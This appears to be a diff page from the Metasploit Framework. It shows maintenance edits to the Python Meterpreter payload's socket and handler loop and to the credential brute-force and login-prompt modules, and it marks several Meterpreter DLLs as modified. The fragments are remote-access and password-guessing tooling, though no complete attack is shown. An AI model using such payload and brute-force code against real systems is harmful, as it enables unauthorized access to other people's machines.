response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest())
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
return ERROR_SUCCESS, response

@meterpreter.register_function
Expand Down
Binary file modified data/meterpreter/ext_server_stdapi.x64.dll
Binary file not shown.
13 changes: 9 additions & 4 deletions data/meterpreter/meterpreter.py
Original file line number Diff line number Diff line change
Expand Up @@ -145,8 +145,9 @@ def run(self):
self.data_lock.acquire()
self.data += byte
self.data_lock.release()
data = self.std.read()
self.data_lock.acquire()
self.data += self.std.read()
self.data += data
self.data_lock.release()

def is_read_ready(self):
Expand Down Expand Up @@ -208,7 +209,7 @@ def add_process(self, process):

def run(self):
while self.running:
if len(select.select([self.socket], [], [], 0)[0]):
if len(select.select([self.socket], [], [], 0.5)[0]):
request = self.socket.recv(8)
if len(request) != 8:
break
Expand Down Expand Up @@ -391,13 +392,17 @@ def create_response(self, request):
reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
resp += tlv_pack(reqid_tlv)

if method_tlv['value'] in self.extension_functions:
handler = self.extension_functions[method_tlv['value']]
handler_name = method_tlv['value']
if handler_name in self.extension_functions:
handler = self.extension_functions[handler_name]
try:
#print("[*] running method {0}".format(handler_name))
result, resp = handler(request, resp)
except Exception, err:
#print("[-] method {0} resulted in an error".format(handler_name))
result = ERROR_FAILURE
else:
#print("[-] method {0} was requested but does not exist".format(handler_name))
result = ERROR_FAILURE
resp += tlv_pack(TLV_TYPE_RESULT, result)
resp = struct.pack('>I', len(resp) + 4) + resp
Expand Down
Binary file modified data/meterpreter/metsrv.dll
Binary file not shown.
Binary file modified data/meterpreter/metsrv.x64.dll
Binary file not shown.
Binary file modified data/meterpreter/screenshot.dll
Binary file not shown.
Binary file modified data/meterpreter/screenshot.x64.dll
Binary file not shown.
2 changes: 0 additions & 2 deletions lib/msf/core/auxiliary/auth_brute.rb
Original file line number Diff line number Diff line change
Expand Up @@ -93,8 +93,6 @@ def each_user_pass(noconn=false,&block)
next if @@credentials_skipped[fq_user]
next if @@credentials_tried[fq_user] == p

datastore['USERNAME'] = u.to_s
datastore['PASSWORD'] = p.to_s
ret = block.call(u, p)

case ret
Expand Down
6 changes: 3 additions & 3 deletions lib/msf/core/auxiliary/login.rb
Original file line number Diff line number Diff line change
Expand Up @@ -128,10 +128,10 @@ def busy_message?
false
end

def password_prompt?
def password_prompt?(username=nil)
return true if(@recvd =~ @password_regex)
if datastore['USERNAME']
return true if( !(datastore['USERNAME'].empty?) and @recvd =~ /#{datastore['USERNAME']}'s/)
if username
return true if( !(username.empty?) and @recvd =~ /#{username}'s/)
end
return false
end
Expand Down
Loading